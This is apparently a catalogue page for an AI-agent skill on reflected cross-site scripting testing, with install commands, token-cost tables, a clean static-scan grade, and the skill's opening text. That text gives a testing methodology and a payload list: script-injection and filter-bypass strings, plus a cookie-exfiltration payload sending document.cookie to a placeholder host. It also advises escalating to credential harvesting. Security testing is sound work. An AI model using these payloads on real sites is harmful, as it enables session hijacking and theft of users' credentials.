Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SecurityTalent/bugskill-ai --skill xss-reflectedgit clone --depth 1 https://github.com/SecurityTalent/bugskill-aiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/securitytalent/bugskill-ai/xss-reflected)<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/xss-reflected"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/xss-reflected/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/xss-reflected"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/xss-reflected.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00092 | $0.01648 |
| Opus 5.5 | $0.00037 | $0.00659 |
| Sonnet 5.5 | $0.00018 | $0.00330 |
| Haiku 4.5 | $0.00009 | $0.00165 |
Grade A, and why
xss-reflected scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 126 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Reflected Cross-Site Scripting (XSS)
What Is Broken and Why
Reflected XSS occurs when an application takes user-supplied data (URL parameters, form fields, HTTP headers) and includes it in the HTTP response without proper output encoding. The browser interprets the injected content as executable script, running in the context of the vulnerable origin. Because the payload travels in the request, the attacker must socially-engineer the victim into clicking a crafted link. The root cause is missing context-aware output encoding.
Key Signals
- Input parameter value appears verbatim in the HTML response source
- Special characters
<,>,",',&are not HTML-encoded in responses - JavaScript context: input reflected inside
<script>blocks or event handlers without escaping',",\ - Error messages or page titles echoing raw query strings
- HTTP headers (User-Agent, Referer) reflected in error pages
Methodology
- Map all input vectors: URL parameters, POST body fields, hidden form fields, HTTP headers, cookie values.
- Submit a canary string (e.g.,
xss12345) and search the response for its unencoded presence. - Identify the HTML context of the reflection: tag body, attribute, script block, URL, CSS.
- Craft a context-appropriate payload:
- Tag body:
<script>alert(1)</script> - Attribute:
" onfocus="alert(1)or" onmouseover="alert(1) - Script block:
';alert(1)// - URL context:
javascript:alert(1)
- Tag body:
- Test filter bypass variants if initial payloads are blocked.
- Verify execution in a real browser (not just source inspection).
- Escalate to cookie theft, credential harvesting, or redirect payloads.
Payloads & Tools
# Basic tag-body injection
TARGET/page?user=<script>alert(1)</script>
# Attribute context break-out
TARGET/page?user="><script>alert(document.cookie)</script>
TARGET/page?user=" onfocus="alert(1)" autofocus="
# Script block context
TARGET/page?user=';alert(document.cookie)//
# Cookie exfiltration
TARGET/page?user=<script>document.location='http://VICTIM/steal?c='+document.cookie</script>
# Link manipulation via onload
TARGET/page?user=<script>window.onload=function(){var a=document.getElementsByTagName('a');a[0].href='http://VICTIM/malicious';}</script>
# Filter bypass: case variation
TARGET/page?user="><ScRiPt>alert(1)</ScRiPt>
# Filter bypass: space in tag
TARGET/page?user="><script >alert(1)</script >
# Filter bypass: URL encoding
TARGET/page?user=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E
# Filter bypass: double-encoded
TARGET/page?user=%2522%253E%253Cscript%253Ealert(1)%253C%252Fscript%253E
# Filter bypass: non-recursive filter
TARGET/page?user=<scr<script>ipt>alert(1)</script>
# HTTP Parameter Pollution
TARGET/page?param=<script¶m=>alert(1)</¶m=script>
# Burp Suite Intruder with XSS payloads wordlist
# Load: Intruder -> Payloads -> Load fuzz-XSS.txt from SecLists
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 20d ago First seen · 126 lines · 92 tokens per session scan A 01510d1db418
xss-reflected is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 92 tokens to every session and 1,648 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-27.
Other skills, from other repositories
playwright-best-practices
Use when writing Playwright tests, fixing flaky tests, debugging failures, implementing Page Object Model, configuring CI/CD, optimizing performance, mocking APIs, handling authentication or OAuth, testing accessibility (axe-core), file uploads/downloads, date/time mocking, WebSockets, geolocation, permissions…
fullpage-screenshot
Capture full-page screenshots of a website at several viewport widths at once, including pages behind basic auth or needing setup clicks. Use when asked to screenshot a site, grab full-page captures, check a page across breakpoints, produce responsive review artefacts, or compare how a layout renders at mobile, tablet…
legado-book-source-generator
A skill for analysing websites and generating book-source rules for Legado, an app that reads online novels and other books. It is triggered by requests involving book sources, Legado rules, or novel-site analysis.
serpbase-skill
Agent-portable SerpBase skill for Codex, Claude Code, OpenClaw, opencode, and other AI coding/research agents. Use when an agent needs current Google Search, Images, News, Videos, Google Maps local search, or Google Maps place detail results through serpbase.dev; when configuring search grounding through SerpBase; or…
reddit-skills
Reddit automation skill collection. Supports authentication, content publishing, search & discovery, social interactions, and compound operations. Triggered when a user asks to operate Reddit (post, search, comment, login, analyze, upvote, save).
hasdata
Use HasData to scrape any public web page, run real-time Google/Bing/Google-AI-Mode search queries, pull structured data from e-commerce, real-estate, lodging, jobs, maps, travel, video, and social platforms, or run async bulk-scraping and crawling jobs without managing proxies, browsers, or captchas. Reach for this…